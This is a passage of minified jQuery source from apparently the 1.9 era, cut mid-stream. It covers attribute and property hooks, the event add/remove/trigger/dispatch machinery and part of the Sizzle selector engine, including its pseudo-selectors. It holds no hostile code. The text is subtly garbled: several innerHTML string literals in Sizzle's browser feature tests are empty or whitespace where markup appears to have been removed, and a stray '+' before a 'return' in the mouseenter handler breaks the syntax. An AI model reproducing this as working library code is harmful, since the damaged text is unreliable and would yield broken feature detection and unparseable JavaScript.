e.setAttribute("type",t),n&&(e.value=n),t}}}},propFix:{tabindex:"tabIndex",readonly:"readOnly","for":"htmlFor","class":"className",maxlength:"maxLength",cellspacing:"cellSpacing",cellpadding:"cellPadding",rowspan:"rowSpan",colspan:"colSpan",usemap:"useMap",frameborder:"frameBorder",contenteditable:"contentEditable"},prop:function(e,n,r){var i,o,a,s=e.nodeType;if(e&&3!==s&&8!==s&&2!==s)return a=1!==s||!b.isXMLDoc(e),a&&(n=b.propFix[n]||n,o=b.propHooks[n]),r!==t?o&&"set"in o&&(i=o.set(e,r,n))!==t?i:e[n]=r:o&&"get"in o&&null!==(i=o.get(e,n))?i:e[n]},propHooks:{tabIndex:{get:function(e){var n=e.getAttributeNode("tabindex");return n&&n.specified?parseInt(n.value,10):V.test(e.nodeName)||Y.test(e.nodeName)&&e.href?0:t}}}}),z={get:function(e,n){var r=b.prop(e,n),i="boolean"==typeof r&&e.getAttribute(n),o="boolean"==typeof r?K&&Q?null!=i:G.test(n)?e[b.camelCase("default-"+n)]:!!i:e.getAttributeNode(n);return o&&o.value!==!1?n.toLowerCase():t},set:function(e,t,n){return t===!1?b.removeAttr(e,n):K&&Q||!G.test(n)?e.setAttribute(!Q&&b.propFix[n]||n,n):e[b.camelCase("default-"+n)]=e[n]=!0,n}},K&&Q||(b.attrHooks.value={get:function(e,n){var r=e.getAttributeNode(n);return b.nodeName(e,"input")?e.defaultValue:r&&r.specified?r.value:t},set:function(e,n,r){return b.nodeName(e,"input")?(e.defaultValue=n,t):I&&I.set(e,n,r)}}),Q||(I=b.valHooks.button={get:function(e,n){var r=e.getAttributeNode(n);return r&&("id"===n||"name"===n||"coords"===n?""!==r.value:r.specified)?r.value:t},set:function(e,n,r){var i=e.getAttributeNode(r);return i||e.setAttributeNode(i=e.ownerDocument.createAttribute(r)),i.value=n+="","value"===r||n===e.getAttribute(r)?n:t}},b.attrHooks.contenteditable={get:I.get,set:function(e,t,n){I.set(e,""===t?!1:t,n)}},b.each(["width","height"],function(e,n){b.attrHooks[n]=b.extend(b.attrHooks[n],{set:function(e,r){return""===r?(e.setAttribute(n,"auto"),r):t}})})),b.support.hrefNormalized||(b.each(["href","src","width","height"],function(e,n){b.attrHooks[n]=b.extend(b.attrHooks[n],{get:function(e){var r=e.getAttribute(n,2);return null==r?t:r}})}),b.each(["href","src"],function(e,t){b.propHooks[t]={get:function(e){return e.getAttribute(t,4)}}})),b.support.style||(b.attrHooks.style={get:function(e){return e.style.cssText||t},set:function(e,t){return e.style.cssText=t+""}}),b.support.optSelected||(b.propHooks.selected=b.extend(b.propHooks.selected,{get:function(e){var t=e.parentNode;return t&&(t.selectedIndex,t.parentNode&&t.parentNode.selectedIndex),null}})),b.support.enctype||(b.propFix.enctype="encoding"),b.support.checkOn||b.each(["radio","checkbox"],function(){b.valHooks[this]={get:function(e){return null===e.getAttribute("value")?"on":e.value}}}),b.each(["radio","checkbox"],function(){b.valHooks[this]=b.extend(b.valHooks[this],{set:function(e,n){return b.isArray(n)?e.checked=b.inArray(b(e).val(),n)>=0:t}})});var Z=/^(?:input|select|textarea)$/i,et=/^key/,tt=/^(?:mouse|contextmenu)|click/,nt=/^(?:focusinfocus|focusoutblur)$/,rt=/^([^.]*)(?:\.(.+)|)$/;function it(){return!0}function ot(){return!1}b.event={global:{},add:function(e,n,r,o,a){var s,u,l,c,p,f,d,h,g,m,y,v=b._data(e);if(v){r.handler&&(c=r,r=c.handler,a=c.selector),r.guid||(r.guid=b.guid++),(u=v.events)||(u=v.events={}),(f=v.handle)||(f=v.handle=function(e){return typeof b===i||e&&b.event.triggered===e.type?t:b.event.dispatch.apply(f.elem,arguments)},f.elem=e),n=(n||"").match(w)||[""],l=n.length;while(l--)s=rt.exec(n[l])||[],g=y=s[1],m=(s[2]||"").split(".").sort(),p=b.event.special[g]||{},g=(a?p.delegateType:p.bindType)||g,p=b.event.special[g]||{},d=b.extend({type:g,origType:y,data:o,handler:r,guid:r.guid,selector:a,needsContext:a&&b.expr.match.needsContext.test(a),namespace:m.join(".")},c),(h=u[g])||(h=u[g]=[],h.delegateCount=0,p.setup&&p.setup.call(e,o,m,f)!==!1||(e.addEventListener?e.addEventListener(g,f,!1):e.attachEvent&&e.attachEvent("on"+g,f))),p.add&&(p.add.call(e,d),d.handler.guid||(d.handler.guid=r.guid)),a?h.splice(h.delegateCount++,0,d):h.push(d),b.event.global[g]=!0;e=null}},remove:function(e,t,n,r,i){var o,a,s,u,l,c,p,f,d,h,g,m=b.hasData(e)&&b._data(e);if(m&&(c=m.events)){t=(t||"").match(w)||[""],l=t.length;while(l--)if(s=rt.exec(t[l])||[],d=g=s[1],h=(s[2]||"").split(".").sort(),d){p=b.event.special[d]||{},d=(r?p.delegateType:p.bindType)||d,f=c[d]||[],s=s[2]&&RegExp("(^|\\.)"+h.join("\\.(?:.*\\.|)")+"(\\.|$)"),u=o=f.length;while(o--)a=f[o],!i&&g!==a.origType||n&&n.guid!==a.guid||s&&!s.test(a.namespace)||r&&r!==a.selector&&("**"!==r||!a.selector)||(f.splice(o,1),a.selector&&f.delegateCount--,p.remove&&p.remove.call(e,a));u&&!f.length&&(p.teardown&&p.teardown.call(e,h,m.handle)!==!1||b.removeEvent(e,d,m.handle),delete c[d])}else for(d in c)b.event.remove(e,d+t[l],n,r,!0);b.isEmptyObject(c)&&(delete m.handle,b._removeData(e,"events"))}},trigger:function(n,r,i,a){var s,u,l,c,p,f,d,h=[i||o],g=y.call(n,"type")?n.type:n,m=y.call(n,"namespace")?n.namespace.split("."):[];if(l=f=i=i||o,3!==i.nodeType&&8!==i.nodeType&&!nt.test(g+b.event.triggered)&&(g.indexOf(".")>=0&&(m=g.split("."),g=m.shift(),m.sort()),u=0>g.indexOf(":")&&"on"+g,n=n[b.expando]?n:new b.Event(g,"object"==typeof n&&n),n.isTrigger=!0,n.namespace=m.join("."),n.namespace_re=n.namespace?RegExp("(^|\\.)"+m.join("\\.(?:.*\\.|)")+"(\\.|$)"):null,n.result=t,n.target||(n.target=i),r=null==r?[n]:b.makeArray(r,[n]),p=b.event.special[g]||{},a||!p.trigger||p.trigger.apply(i,r)!==!1)){if(!a&&!p.noBubble&&!b.isWindow(i)){for(c=p.delegateType||g,nt.test(c+g)||(l=l.parentNode);l;l=l.parentNode)h.push(l),f=l;f===(i.ownerDocument||o)&&h.push(f.defaultView||f.parentWindow||e)}d=0;while((l=h[d++])&&!n.isPropagationStopped())n.type=d>1?c:p.bindType||g,s=(b._data(l,"events")||{})[n.type]&&b._data(l,"handle"),s&&s.apply(l,r),s=u&&l[u],s&&b.acceptData(l)&&s.apply&&s.apply(l,r)===!1&&n.preventDefault();if(n.type=g,!(a||n.isDefaultPrevented()||p._default&&p._default.apply(i.ownerDocument,r)!==!1||"click"===g&&b.nodeName(i,"a")||!b.acceptData(i)||!u||!i[g]||b.isWindow(i))){f=i[u],f&&(i[u]=null),b.event.triggered=g;try{i[g]()}catch(v){}b.event.triggered=t,f&&(i[u]=f)}return n.result}},dispatch:function(e){e=b.event.fix(e);var n,r,i,o,a,s=[],u=h.call(arguments),l=(b._data(this,"events")||{})[e.type]||[],c=b.event.special[e.type]||{};if(u[0]=e,e.delegateTarget=this,!c.preDispatch||c.preDispatch.call(this,e)!==!1){s=b.event.handlers.call(this,e,l),n=0;while((o=s[n++])&&!e.isPropagationStopped()){e.currentTarget=o.elem,a=0;while((i=o.handlers[a++])&&!e.isImmediatePropagationStopped())(!e.namespace_re||e.namespace_re.test(i.namespace))&&(e.handleObj=i,e.data=i.data,r=((b.event.special[i.origType]||{}).handle||i.handler).apply(o.elem,u),r!==t&&(e.result=r)===!1&&(e.preventDefault(),e.stopPropagation()))}return c.postDispatch&&c.postDispatch.call(this,e),e.result}},handlers:function(e,n){var r,i,o,a,s=[],u=n.delegateCount,l=e.target;if(u&&l.nodeType&&(!e.button||"click"!==e.type))for(;l!=this;l=l.parentNode||this)if(1===l.nodeType&&(l.disabled!==!0||"click"!==e.type)){for(o=[],a=0;u>a;a++)i=n[a],r=i.selector+" ",o[r]===t&&(o[r]=i.needsContext?b(r,this).index(l)>=0:b.find(r,this,null,[l]).length),o[r]&&o.push(i);o.length&&s.push({elem:l,handlers:o})}return n.length>u&&s.push({elem:this,handlers:n.slice(u)}),s},fix:function(e){if(e[b.expando])return e;var t,n,r,i=e.type,a=e,s=this.fixHooks[i];s||(this.fixHooks[i]=s=tt.test(i)?this.mouseHooks:et.test(i)?this.keyHooks:{}),r=s.props?this.props.concat(s.props):this.props,e=new b.Event(a),t=r.length;while(t--)n=r[t],e[n]=a[n];return e.target||(e.target=a.srcElement||o),3===e.target.nodeType&&(e.target=e.target.parentNode),e.metaKey=!!e.metaKey,s.filter?s.filter(e,a):e},props:"altKey bubbles cancelable ctrlKey currentTarget eventPhase metaKey relatedTarget shiftKey target timeStamp view which".split(" "),fixHooks:{},keyHooks:{props:"char charCode key keyCode".split(" "),filter:function(e,t){return null==e.which&&(e.which=null!=t.charCode?t.charCode:t.keyCode),e}},mouseHooks:{props:"button buttons clientX clientY fromElement offsetX offsetY pageX pageY screenX screenY toElement".split(" "),filter:function(e,n){var r,i,a,s=n.button,u=n.fromElement;return null==e.pageX&&null!=n.clientX&&(i=e.target.ownerDocument||o,a=i.documentElement,r=i.body,e.pageX=n.clientX+(a&&a.scrollLeft||r&&r.scrollLeft||0)-(a&&a.clientLeft||r&&r.clientLeft||0),e.pageY=n.clientY+(a&&a.scrollTop||r&&r.scrollTop||0)-(a&&a.clientTop||r&&r.clientTop||0)),!e.relatedTarget&&u&&(e.relatedTarget=u===e.target?n.toElement:u),e.which||s===t||(e.which=1&s?1:2&s?3:4&s?2:0),e}},special:{load:{noBubble:!0},click:{trigger:function(){return b.nodeName(this,"input")&&"checkbox"===this.type&&this.click?(this.click(),!1):t}},focus:{trigger:function(){if(this!==o.activeElement&&this.focus)try{return this.focus(),!1}catch(e){}},delegateType:"focusin"},blur:{trigger:function(){return this===o.activeElement&&this.blur?(this.blur(),!1):t},delegateType:"focusout"},beforeunload:{postDispatch:function(e){e.result!==t&&(e.originalEvent.returnValue=e.result)}}},simulate:function(e,t,n,r){var i=b.extend(new b.Event,n,{type:e,isSimulated:!0,originalEvent:{}});r?b.event.trigger(i,null,t):b.event.dispatch.call(t,i),i.isDefaultPrevented()&&n.preventDefault()}},b.removeEvent=o.removeEventListener?function(e,t,n){e.removeEventListener&&e.removeEventListener(t,n,!1)}:function(e,t,n){var r="on"+t;e.detachEvent&&(typeof e[r]===i&&(e[r]=null),e.detachEvent(r,n))},b.Event=function(e,n){return this instanceof b.Event?(e&&e.type?(this.originalEvent=e,this.type=e.type,this.isDefaultPrevented=e.defaultPrevented||e.returnValue===!1||e.getPreventDefault&&e.getPreventDefault()?it:ot):this.type=e,n&&b.extend(this,n),this.timeStamp=e&&e.timeStamp||b.now(),this[b.expando]=!0,t):new b.Event(e,n)},b.Event.prototype={isDefaultPrevented:ot,isPropagationStopped:ot,isImmediatePropagationStopped:ot,preventDefault:function(){var e=this.originalEvent;this.isDefaultPrevented=it,e&&(e.preventDefault?e.preventDefault():e.returnValue=!1)},stopPropagation:function(){var e=this.originalEvent;this.isPropagationStopped=it,e&&(e.stopPropagation&&e.stopPropagation(),e.cancelBubble=!0)},stopImmediatePropagation:function(){this.isImmediatePropagationStopped=it,this.stopPropagation()}},b.each({mouseenter:"mouseover",mouseleave:"mouseout"},function(e,t){b.event.special[e]={delegateType:t,bindType:t,handle:function(e){var n,r=this,i=e.relatedTarget,o=e.handleObj; +return(!i||i!==r&&!b.contains(r,i))&&(e.type=o.origType,n=o.handler.apply(this,arguments),e.type=t),n}}}),b.support.submitBubbles||(b.event.special.submit={setup:function(){return b.nodeName(this,"form")?!1:(b.event.add(this,"click._submit keypress._submit",function(e){var n=e.target,r=b.nodeName(n,"input")||b.nodeName(n,"button")?n.form:t;r&&!b._data(r,"submitBubbles")&&(b.event.add(r,"submit._submit",function(e){e._submit_bubble=!0}),b._data(r,"submitBubbles",!0))}),t)},postDispatch:function(e){e._submit_bubble&&(delete e._submit_bubble,this.parentNode&&!e.isTrigger&&b.event.simulate("submit",this.parentNode,e,!0))},teardown:function(){return b.nodeName(this,"form")?!1:(b.event.remove(this,"._submit"),t)}}),b.support.changeBubbles||(b.event.special.change={setup:function(){return Z.test(this.nodeName)?(("checkbox"===this.type||"radio"===this.type)&&(b.event.add(this,"propertychange._change",function(e){"checked"===e.originalEvent.propertyName&&(this._just_changed=!0)}),b.event.add(this,"click._change",function(e){this._just_changed&&!e.isTrigger&&(this._just_changed=!1),b.event.simulate("change",this,e,!0)})),!1):(b.event.add(this,"beforeactivate._change",function(e){var t=e.target;Z.test(t.nodeName)&&!b._data(t,"changeBubbles")&&(b.event.add(t,"change._change",function(e){!this.parentNode||e.isSimulated||e.isTrigger||b.event.simulate("change",this.parentNode,e,!0)}),b._data(t,"changeBubbles",!0))}),t)},handle:function(e){var n=e.target;return this!==n||e.isSimulated||e.isTrigger||"radio"!==n.type&&"checkbox"!==n.type?e.handleObj.handler.apply(this,arguments):t},teardown:function(){return b.event.remove(this,"._change"),!Z.test(this.nodeName)}}),b.support.focusinBubbles||b.each({focus:"focusin",blur:"focusout"},function(e,t){var n=0,r=function(e){b.event.simulate(t,e.target,b.event.fix(e),!0)};b.event.special[t]={setup:function(){0===n++&&o.addEventListener(e,r,!0)},teardown:function(){0===--n&&o.removeEventListener(e,r,!0)}}}),b.fn.extend({on:function(e,n,r,i,o){var a,s;if("object"==typeof e){"string"!=typeof n&&(r=r||n,n=t);for(a in e)this.on(a,n,r,e[a],o);return this}if(null==r&&null==i?(i=n,r=n=t):null==i&&("string"==typeof n?(i=r,r=t):(i=r,r=n,n=t)),i===!1)i=ot;else if(!i)return this;return 1===o&&(s=i,i=function(e){return b().off(e),s.apply(this,arguments)},i.guid=s.guid||(s.guid=b.guid++)),this.each(function(){b.event.add(this,e,i,r,n)})},one:function(e,t,n,r){return this.on(e,t,n,r,1)},off:function(e,n,r){var i,o;if(e&&e.preventDefault&&e.handleObj)return i=e.handleObj,b(e.delegateTarget).off(i.namespace?i.origType+"."+i.namespace:i.origType,i.selector,i.handler),this;if("object"==typeof e){for(o in e)this.off(o,n,e[o]);return this}return(n===!1||"function"==typeof n)&&(r=n,n=t),r===!1&&(r=ot),this.each(function(){b.event.remove(this,e,r,n)})},bind:function(e,t,n){return this.on(e,null,t,n)},unbind:function(e,t){return this.off(e,null,t)},delegate:function(e,t,n,r){return this.on(t,e,n,r)},undelegate:function(e,t,n){return 1===arguments.length?this.off(e,"**"):this.off(t,e||"**",n)},trigger:function(e,t){return this.each(function(){b.event.trigger(e,t,this)})},triggerHandler:function(e,n){var r=this[0];return r?b.event.trigger(e,n,r,!0):t}}),function(e,t){var n,r,i,o,a,s,u,l,c,p,f,d,h,g,m,y,v,x="sizzle"+-new Date,w=e.document,T={},N=0,C=0,k=it(),E=it(),S=it(),A=typeof t,j=1<<31,D=[],L=D.pop,H=D.push,q=D.slice,M=D.indexOf||function(e){var t=0,n=this.length;for(;n>t;t++)if(this[t]===e)return t;return-1},_="[\\x20\\t\\r\\n\\f]",F="(?:\\\\.|[\\w-]|[^\\x00-\\xa0])+",O=F.replace("w","w#"),B="([*^$|!~]?=)",P="\\["+_+"*("+F+")"+_+"*(?:"+B+_+"*(?:(['\"])((?:\\\\.|[^\\\\])*?)\\3|("+O+")|)|)"+_+"*\\]",R=":("+F+")(?:\\(((['\"])((?:\\\\.|[^\\\\])*?)\\3|((?:\\\\.|[^\\\\()[\\]]|"+P.replace(3,8)+")*)|.*)\\)|)",W=RegExp("^"+_+"+|((?:^|[^\\\\])(?:\\\\.)*)"+_+"+$","g"),$=RegExp("^"+_+"*,"+_+"*"),I=RegExp("^"+_+"*([\\x20\\t\\r\\n\\f>+~])"+_+"*"),z=RegExp(R),X=RegExp("^"+O+"$"),U={ID:RegExp("^#("+F+")"),CLASS:RegExp("^\\.("+F+")"),NAME:RegExp("^\\[name=['\"]?("+F+")['\"]?\\]"),TAG:RegExp("^("+F.replace("w","w*")+")"),ATTR:RegExp("^"+P),PSEUDO:RegExp("^"+R),CHILD:RegExp("^:(only|first|last|nth|nth-last)-(child|of-type)(?:\\("+_+"*(even|odd|(([+-]|)(\\d*)n|)"+_+"*(?:([+-]|)"+_+"*(\\d+)|))"+_+"*\\)|)","i"),needsContext:RegExp("^"+_+"*[>+~]|:(even|odd|eq|gt|lt|nth|first|last)(?:\\("+_+"*((?:-\\d)?\\d*)"+_+"*\\)|)(?=[^-]|$)","i")},V=/[\x20\t\r\n\f]*[+~]/,Y=/^[^{]+\{\s*\[native code/,J=/^(?:#([\w-]+)|(\w+)|\.([\w-]+))$/,G=/^(?:input|select|textarea|button)$/i,Q=/^h\d$/i,K=/'|\\/g,Z=/\=[\x20\t\r\n\f]*([^'"\]]*)[\x20\t\r\n\f]*\]/g,et=/\\([\da-fA-F]{1,6}[\x20\t\r\n\f]?|.)/g,tt=function(e,t){var n="0x"+t-65536;return n!==n?t:0>n?String.fromCharCode(n+65536):String.fromCharCode(55296|n>>10,56320|1023&n)};try{q.call(w.documentElement.childNodes,0)[0].nodeType}catch(nt){q=function(e){var t,n=[];while(t=this[e++])n.push(t);return n}}function rt(e){return Y.test(e+"")}function it(){var e,t=[];return e=function(n,r){return t.push(n+=" ")>i.cacheLength&&delete e[t.shift()],e[n]=r}}function ot(e){return e[x]=!0,e}function at(e){var t=p.createElement("div");try{return e(t)}catch(n){return!1}finally{t=null}}function st(e,t,n,r){var i,o,a,s,u,l,f,g,m,v;if((t?t.ownerDocument||t:w)!==p&&c(t),t=t||p,n=n||[],!e||"string"!=typeof e)return n;if(1!==(s=t.nodeType)&&9!==s)return[];if(!d&&!r){if(i=J.exec(e))if(a=i[1]){if(9===s){if(o=t.getElementById(a),!o||!o.parentNode)return n;if(o.id===a)return n.push(o),n}else if(t.ownerDocument&&(o=t.ownerDocument.getElementById(a))&&y(t,o)&&o.id===a)return n.push(o),n}else{if(i[2])return H.apply(n,q.call(t.getElementsByTagName(e),0)),n;if((a=i[3])&&T.getByClassName&&t.getElementsByClassName)return H.apply(n,q.call(t.getElementsByClassName(a),0)),n}if(T.qsa&&!h.test(e)){if(f=!0,g=x,m=t,v=9===s&&e,1===s&&"object"!==t.nodeName.toLowerCase()){l=ft(e),(f=t.getAttribute("id"))?g=f.replace(K,"\\$&"):t.setAttribute("id",g),g="[id='"+g+"'] ",u=l.length;while(u--)l[u]=g+dt(l[u]);m=V.test(e)&&t.parentNode||t,v=l.join(",")}if(v)try{return H.apply(n,q.call(m.querySelectorAll(v),0)),n}catch(b){}finally{f||t.removeAttribute("id")}}}return wt(e.replace(W,"$1"),t,n,r)}a=st.isXML=function(e){var t=e&&(e.ownerDocument||e).documentElement;return t?"HTML"!==t.nodeName:!1},c=st.setDocument=function(e){var n=e?e.ownerDocument||e:w;return n!==p&&9===n.nodeType&&n.documentElement?(p=n,f=n.documentElement,d=a(n),T.tagNameNoComments=at(function(e){return e.appendChild(n.createComment("")),!e.getElementsByTagName("*").length}),T.attributes=at(function(e){e.innerHTML="";var t=typeof e.lastChild.getAttribute("multiple");return"boolean"!==t&&"string"!==t}),T.getByClassName=at(function(e){return e.innerHTML="",e.getElementsByClassName&&e.getElementsByClassName("e").length?(e.lastChild.className="e",2===e.getElementsByClassName("e").length):!1}),T.getByName=at(function(e){e.id=x+0,e.innerHTML="
            ",f.insertBefore(e,f.firstChild);var t=n.getElementsByName&&n.getElementsByName(x).length===2+n.getElementsByName(x+0).length;return T.getIdNotName=!n.getElementById(x),f.removeChild(e),t}),i.attrHandle=at(function(e){return e.innerHTML="",e.firstChild&&typeof e.firstChild.getAttribute!==A&&"#"===e.firstChild.getAttribute("href")})?{}:{href:function(e){return e.getAttribute("href",2)},type:function(e){return e.getAttribute("type")}},T.getIdNotName?(i.find.ID=function(e,t){if(typeof t.getElementById!==A&&!d){var n=t.getElementById(e);return n&&n.parentNode?[n]:[]}},i.filter.ID=function(e){var t=e.replace(et,tt);return function(e){return e.getAttribute("id")===t}}):(i.find.ID=function(e,n){if(typeof n.getElementById!==A&&!d){var r=n.getElementById(e);return r?r.id===e||typeof r.getAttributeNode!==A&&r.getAttributeNode("id").value===e?[r]:t:[]}},i.filter.ID=function(e){var t=e.replace(et,tt);return function(e){var n=typeof e.getAttributeNode!==A&&e.getAttributeNode("id");return n&&n.value===t}}),i.find.TAG=T.tagNameNoComments?function(e,n){return typeof n.getElementsByTagName!==A?n.getElementsByTagName(e):t}:function(e,t){var n,r=[],i=0,o=t.getElementsByTagName(e);if("*"===e){while(n=o[i++])1===n.nodeType&&r.push(n);return r}return o},i.find.NAME=T.getByName&&function(e,n){return typeof n.getElementsByName!==A?n.getElementsByName(name):t},i.find.CLASS=T.getByClassName&&function(e,n){return typeof n.getElementsByClassName===A||d?t:n.getElementsByClassName(e)},g=[],h=[":focus"],(T.qsa=rt(n.querySelectorAll))&&(at(function(e){e.innerHTML="",e.querySelectorAll("[selected]").length||h.push("\\["+_+"*(?:checked|disabled|ismap|multiple|readonly|selected|value)"),e.querySelectorAll(":checked").length||h.push(":checked")}),at(function(e){e.innerHTML="",e.querySelectorAll("[i^='']").length&&h.push("[*^$]="+_+"*(?:\"\"|'')"),e.querySelectorAll(":enabled").length||h.push(":enabled",":disabled"),e.querySelectorAll("*,:x"),h.push(",.*:")})),(T.matchesSelector=rt(m=f.matchesSelector||f.mozMatchesSelector||f.webkitMatchesSelector||f.oMatchesSelector||f.msMatchesSelector))&&at(function(e){T.disconnectedMatch=m.call(e,"div"),m.call(e,"[s!='']:x"),g.push("!=",R)}),h=RegExp(h.join("|")),g=RegExp(g.join("|")),y=rt(f.contains)||f.compareDocumentPosition?function(e,t){var n=9===e.nodeType?e.documentElement:e,r=t&&t.parentNode;return e===r||!(!r||1!==r.nodeType||!(n.contains?n.contains(r):e.compareDocumentPosition&&16&e.compareDocumentPosition(r)))}:function(e,t){if(t)while(t=t.parentNode)if(t===e)return!0;return!1},v=f.compareDocumentPosition?function(e,t){var r;return e===t?(u=!0,0):(r=t.compareDocumentPosition&&e.compareDocumentPosition&&e.compareDocumentPosition(t))?1&r||e.parentNode&&11===e.parentNode.nodeType?e===n||y(w,e)?-1:t===n||y(w,t)?1:0:4&r?-1:1:e.compareDocumentPosition?-1:1}:function(e,t){var r,i=0,o=e.parentNode,a=t.parentNode,s=[e],l=[t];if(e===t)return u=!0,0;if(!o||!a)return e===n?-1:t===n?1:o?-1:a?1:0;if(o===a)return ut(e,t);r=e;while(r=r.parentNode)s.unshift(r);r=t;while(r=r.parentNode)l.unshift(r);while(s[i]===l[i])i++;return i?ut(s[i],l[i]):s[i]===w?-1:l[i]===w?1:0},u=!1,[0,0].sort(v),T.detectDuplicates=u,p):p},st.matches=function(e,t){return st(e,null,null,t)},st.matchesSelector=function(e,t){if((e.ownerDocument||e)!==p&&c(e),t=t.replace(Z,"='$1']"),!(!T.matchesSelector||d||g&&g.test(t)||h.test(t)))try{var n=m.call(e,t);if(n||T.disconnectedMatch||e.document&&11!==e.document.nodeType)return n}catch(r){}return st(t,p,null,[e]).length>0},st.contains=function(e,t){return(e.ownerDocument||e)!==p&&c(e),y(e,t)},st.attr=function(e,t){var n;return(e.ownerDocument||e)!==p&&c(e),d||(t=t.toLowerCase()),(n=i.attrHandle[t])?n(e):d||T.attributes?e.getAttribute(t):((n=e.getAttributeNode(t))||e.getAttribute(t))&&e[t]===!0?t:n&&n.specified?n.value:null},st.error=function(e){throw Error("Syntax error, unrecognized expression: "+e)},st.uniqueSort=function(e){var t,n=[],r=1,i=0;if(u=!T.detectDuplicates,e.sort(v),u){for(;t=e[r];r++)t===e[r-1]&&(i=n.push(r));while(i--)e.splice(n[i],1)}return e};function ut(e,t){var n=t&&e,r=n&&(~t.sourceIndex||j)-(~e.sourceIndex||j);if(r)return r;if(n)while(n=n.nextSibling)if(n===t)return-1;return e?1:-1}function lt(e){return function(t){var n=t.nodeName.toLowerCase();return"input"===n&&t.type===e}}function ct(e){return function(t){var n=t.nodeName.toLowerCase();return("input"===n||"button"===n)&&t.type===e}}function pt(e){return ot(function(t){return t=+t,ot(function(n,r){var i,o=e([],n.length,t),a=o.length;while(a--)n[i=o[a]]&&(n[i]=!(r[i]=n[i]))})})}o=st.getText=function(e){var t,n="",r=0,i=e.nodeType;if(i){if(1===i||9===i||11===i){if("string"==typeof e.textContent)return e.textContent;for(e=e.firstChild;e;e=e.nextSibling)n+=o(e)}else if(3===i||4===i)return e.nodeValue}else for(;t=e[r];r++)n+=o(t);return n},i=st.selectors={cacheLength:50,createPseudo:ot,match:U,find:{},relative:{">":{dir:"parentNode",first:!0}," ":{dir:"parentNode"},"+":{dir:"previousSibling",first:!0},"~":{dir:"previousSibling"}},preFilter:{ATTR:function(e){return e[1]=e[1].replace(et,tt),e[3]=(e[4]||e[5]||"").replace(et,tt),"~="===e[2]&&(e[3]=" "+e[3]+" "),e.slice(0,4)},CHILD:function(e){return e[1]=e[1].toLowerCase(),"nth"===e[1].slice(0,3)?(e[3]||st.error(e[0]),e[4]=+(e[4]?e[5]+(e[6]||1):2*("even"===e[3]||"odd"===e[3])),e[5]=+(e[7]+e[8]||"odd"===e[3])):e[3]&&st.error(e[0]),e},PSEUDO:function(e){var t,n=!e[5]&&e[2];return U.CHILD.test(e[0])?null:(e[4]?e[2]=e[4]:n&&z.test(n)&&(t=ft(n,!0))&&(t=n.indexOf(")",n.length-t)-n.length)&&(e[0]=e[0].slice(0,t),e[2]=n.slice(0,t)),e.slice(0,3))}},filter:{TAG:function(e){return"*"===e?function(){return!0}:(e=e.replace(et,tt).toLowerCase(),function(t){return t.nodeName&&t.nodeName.toLowerCase()===e})},CLASS:function(e){var t=k[e+" "];return t||(t=RegExp("(^|"+_+")"+e+"("+_+"|$)"))&&k(e,function(e){return t.test(e.className||typeof e.getAttribute!==A&&e.getAttribute("class")||"")})},ATTR:function(e,t,n){return function(r){var i=st.attr(r,e);return null==i?"!="===t:t?(i+="","="===t?i===n:"!="===t?i!==n:"^="===t?n&&0===i.indexOf(n):"*="===t?n&&i.indexOf(n)>-1:"$="===t?n&&i.slice(-n.length)===n:"~="===t?(" "+i+" ").indexOf(n)>-1:"|="===t?i===n||i.slice(0,n.length+1)===n+"-":!1):!0}},CHILD:function(e,t,n,r,i){var o="nth"!==e.slice(0,3),a="last"!==e.slice(-4),s="of-type"===t;return 1===r&&0===i?function(e){return!!e.parentNode}:function(t,n,u){var l,c,p,f,d,h,g=o!==a?"nextSibling":"previousSibling",m=t.parentNode,y=s&&t.nodeName.toLowerCase(),v=!u&&!s;if(m){if(o){while(g){p=t;while(p=p[g])if(s?p.nodeName.toLowerCase()===y:1===p.nodeType)return!1;h=g="only"===e&&!h&&"nextSibling"}return!0}if(h=[a?m.firstChild:m.lastChild],a&&v){c=m[x]||(m[x]={}),l=c[e]||[],d=l[0]===N&&l[1],f=l[0]===N&&l[2],p=d&&m.childNodes[d];while(p=++d&&p&&p[g]||(f=d=0)||h.pop())if(1===p.nodeType&&++f&&p===t){c[e]=[N,d,f];break}}else if(v&&(l=(t[x]||(t[x]={}))[e])&&l[0]===N)f=l[1];else while(p=++d&&p&&p[g]||(f=d=0)||h.pop())if((s?p.nodeName.toLowerCase()===y:1===p.nodeType)&&++f&&(v&&((p[x]||(p[x]={}))[e]=[N,f]),p===t))break;return f-=i,f===r||0===f%r&&f/r>=0}}},PSEUDO:function(e,t){var n,r=i.pseudos[e]||i.setFilters[e.toLowerCase()]||st.error("unsupported pseudo: "+e);return r[x]?r(t):r.length>1?(n=[e,e,"",t],i.setFilters.hasOwnProperty(e.toLowerCase())?ot(function(e,n){var i,o=r(e,t),a=o.length;while(a--)i=M.call(e,o[a]),e[i]=!(n[i]=o[a])}):function(e){return r(e,0,n)}):r}},pseudos:{not:ot(function(e){var t=[],n=[],r=s(e.replace(W,"$1"));return r[x]?ot(function(e,t,n,i){var o,a=r(e,null,i,[]),s=e.length;while(s--)(o=a[s])&&(e[s]=!(t[s]=o))}):function(e,i,o){return t[0]=e,r(t,null,o,n),!n.pop()}}),has:ot(function(e){return function(t){return st(e,t).length>0}}),contains:ot(function(e){return function(t){return(t.textContent||t.innerText||o(t)).indexOf(e)>-1}}),lang:ot(function(e){return X.test(e||"")||st.error("unsupported lang: "+e),e=e.replace(et,tt).toLowerCase(),function(t){var n;do if(n=d?t.getAttribute("xml:lang")||t.getAttribute("lang"):t.lang)return n=n.toLowerCase(),n===e||0===n.indexOf(e+"-");while((t=t.parentNode)&&1===t.nodeType);return!1}}),target:function(t){var n=e.location&&e.location.hash;return n&&n.slice(1)===t.id},root:function(e){return e===f},focus:function(e){return e===p.activeElement&&(!p.hasFocus||p.hasFocus())&&!!(e.type||e.href||~e.tabIndex)},enabled:function(e){return e.disabled===!1},disabled:function(e){return e.disabled===!0},checked:function(e){var t=e.nodeName.toLowerCase();return"input"===t&&!!e.checked||"option"===t&&!!e.selected},selected:function(e){return e.parentNode&&e.parentNode.selectedIndex,e.selected===!0},empty:function(e){for(e=e.firstChild;e;e=e.nextSibling)if(e.nodeName>"@"||3===e.nodeType||4===e.nodeType)return!1;return!0},parent:function(e){return!i.pseudos.empty(e)},header:function(e){return Q.test(e.nodeName)},input:function(e){return G.test(e.nodeName)},button:function(e){var t=e.nodeName.toLowerCase();return"input"===t&&"button"===e.type||"button"===t},text:function(e){var t;return"input"===e.nodeName.toLowerCase()&&"text"===e.type&&(null==(t=e.getAttribute("type"))||t.toLowerCase()===e.type)},first:pt(function(){return[0]}),last:pt(function(e,t){return[t-1]}),eq:pt(function(e,t,n){return[0>n?n+t:n]}),even:pt(function(e,t){var 